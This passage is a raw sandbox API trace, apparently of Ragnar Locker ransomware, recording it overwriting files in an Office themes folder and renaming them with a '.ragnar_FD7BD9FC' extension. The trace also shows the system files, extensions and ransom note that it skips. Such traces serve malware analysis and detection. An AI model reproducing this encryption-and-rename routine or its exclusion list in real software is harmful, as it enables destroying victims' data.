SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0071.379] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1a537, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x1a537, lpOverlapped=0x0) returned 1 [0071.382] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0071.382] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1a537, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.382] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1a537, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x1a537, lpOverlapped=0x0) returned 1 [0071.383] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1a537, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.383] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0071.384] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x1a537, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.384] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.384] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0071.384] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0071.384] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0071.384] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.384] GetProcessHeap () returned 0x580000 [0071.384] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0071.384] CloseHandle (hObject=0x10c) returned 1 [0071.385] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM" [0071.385] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM.ragnar_FD7BD9FC" [0071.385] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.elm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0071.387] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6003c730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREEZE.INF", cAlternateFileName="")) returned 1 [0071.387] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x46 [0071.387] lstrcpyW (in: lpString1=0x1eab6e, lpString2="BREEZE.INF" | out: lpString1="BREEZE.INF") returned="BREEZE.INF" [0071.387] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF") returned=".INF" [0071.387] lstrcmpiW (lpString1="BREEZE.INF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0071.387] lstrcmpiW (lpString1="BREEZE.INF", lpString2="autorun.inf") returned 1 [0071.387] lstrcmpiW (lpString1="BREEZE.INF", lpString2="boot.ini") returned 1 [0071.387] lstrcmpiW (lpString1="BREEZE.INF", lpString2="bootfont.bin") returned 1 [0071.387] lstrcmpiW (lpString1="BREEZE.INF", lpString2="bootsect.bak") returned 1 [0071.387] lstrcmpiW (lpString1="BREEZE.INF", lpString2="bootmgr") returned 1 [0071.388] lstrcmpiW (lpString1="BREEZE.INF", lpString2="bootmgr.efi") returned 1 [0071.388] lstrcmpiW (lpString1="BREEZE.INF", lpString2="bootmgfw.efi") returned 1 [0071.388] lstrcmpiW (lpString1="BREEZE.INF", lpString2="desktop.ini") returned -1 [0071.388] lstrcmpiW (lpString1="BREEZE.INF", lpString2="iconcache.db") returned -1 [0071.388] lstrcmpiW (lpString1="BREEZE.INF", lpString2="ntldr") returned -1 [0071.388] lstrcmpiW (lpString1="BREEZE.INF", lpString2="ntuser.dat") returned -1 [0071.388] lstrcmpiW (lpString1="BREEZE.INF", lpString2="ntuser.dat.log") returned -1 [0071.388] lstrcmpiW (lpString1="BREEZE.INF", lpString2="ntuser.ini") returned -1 [0071.388] lstrcmpiW (lpString1="BREEZE.INF", lpString2="thumbs.db") returned -1 [0071.388] lstrcmpiW (lpString1=".INF", lpString2=".db") returned 1 [0071.388] lstrcmpiW (lpString1=".INF", lpString2=".sys") returned -1 [0071.388] lstrcmpiW (lpString1=".INF", lpString2=".dll") returned 1 [0071.388] lstrcmpiW (lpString1=".INF", lpString2=".lnk") returned -1 [0071.388] lstrcmpiW (lpString1=".INF", lpString2=".msi") returned -1 [0071.388] lstrcmpiW (lpString1=".INF", lpString2=".drv") returned 1 [0071.388] lstrcmpiW (lpString1=".INF", lpString2=".exe") returned 1 [0071.388] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.inf")) returned 0x20 [0071.389] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.inf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0071.389] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=450) returned 1 [0071.389] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x1b9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.389] GetProcessHeap () returned 0x580000 [0071.389] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0071.389] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0071.390] VirtualAlloc (lpAddress=0x0, dwSize=0x1c2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0071.390] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.390] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0071.390] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1c2, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x1c2, lpOverlapped=0x0) returned 1 [0071.391] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0071.391] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1c2, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.391] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1c2, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x1c2, lpOverlapped=0x0) returned 1 [0071.391] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1c2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.391] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0071.391] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x1c2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.391] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.391] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0071.391] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0071.391] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0071.391] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.391] GetProcessHeap () returned 0x580000 [0071.391] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0071.391] CloseHandle (hObject=0x10c) returned 1 [0071.392] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF" [0071.392] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF.ragnar_FD7BD9FC" [0071.392] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.inf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0071.393] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xaa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0071.393] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x46 [0071.393] lstrcpyW (in: lpString1=0x1eab6e, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF" [0071.393] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned=".GIF" [0071.393] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0071.393] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="autorun.inf") returned 1 [0071.393] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="boot.ini") returned 1 [0071.393] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootfont.bin") returned 1 [0071.393] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootsect.bak") returned 1 [0071.393] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr") returned 1 [0071.393] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr.efi") returned 1 [0071.393] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgfw.efi") returned 1 [0071.393] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="desktop.ini") returned 1 [0071.393] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="iconcache.db") returned 1 [0071.393] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntldr") returned 1 [0071.393] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat") returned 1 [0071.393] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat.log") returned 1 [0071.393] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.ini") returned 1 [0071.393] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="thumbs.db") returned -1 [0071.393] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0071.393] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0071.394] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0071.394] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0071.394] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0071.394] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0071.394] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0071.394] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif")) returned 0x20 [0071.395] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0071.395] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=2722) returned 1 [0071.395] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xa99, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.395] GetProcessHeap () returned 0x580000 [0071.395] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0071.395] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0071.396] VirtualAlloc (lpAddress=0x0, dwSize=0xaa2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0071.396] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.396] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0071.397] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xaa2, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xaa2, lpOverlapped=0x0) returned 1 [0071.397] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0071.397] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xaa2, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.397] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xaa2, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xaa2, lpOverlapped=0x0) returned 1 [0071.397] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xaa2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.397] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0071.397] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xaa2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.397] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.397] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0071.397] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0071.397] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0071.397] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.398] GetProcessHeap () returned 0x580000 [0071.398] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0071.398] CloseHandle (hObject=0x10c) returned 1 [0071.398] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" [0071.398] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.ragnar_FD7BD9FC" [0071.398] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0071.399] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cc38e20, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7cc38e20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0071.399] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x46 [0071.399] lstrcpyW (in: lpString1=0x1eab6e, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0071.399] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\RGNR_FD7BD9FC.txt") returned=".txt" [0071.399] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0071.399] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa90c, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0071.399] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x46 [0071.399] lstrcpyW (in: lpString1=0x1eab6e, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG" [0071.399] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned=".PNG" [0071.399] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0071.399] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="autorun.inf") returned 1 [0071.399] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="boot.ini") returned 1 [0071.399] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootfont.bin") returned 1 [0071.399] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootsect.bak") returned 1 [0071.399] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr") returned 1 [0071.399] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr.efi") returned 1 [0071.399] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgfw.efi") returned 1 [0071.399] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="desktop.ini") returned 1 [0071.399] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="iconcache.db") returned 1 [0071.399] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntldr") returned 1 [0071.399] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat") returned 1 [0071.399] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat.log") returned 1 [0071.399] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.ini") returned 1 [0071.399] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="thumbs.db") returned -1 [0071.400] lstrcmpiW (lpString1=".PNG", lpString2=".db") returned 1 [0071.400] lstrcmpiW (lpString1=".PNG", lpString2=".sys") returned -1 [0071.400] lstrcmpiW (lpString1=".PNG", lpString2=".dll") returned 1 [0071.400] lstrcmpiW (lpString1=".PNG", lpString2=".lnk") returned 1 [0071.400] lstrcmpiW (lpString1=".PNG", lpString2=".msi") returned 1 [0071.400] lstrcmpiW (lpString1=".PNG", lpString2=".drv") returned 1 [0071.400] lstrcmpiW (lpString1=".PNG", lpString2=".exe") returned 1 [0071.400] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png")) returned 0x20 [0071.401] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 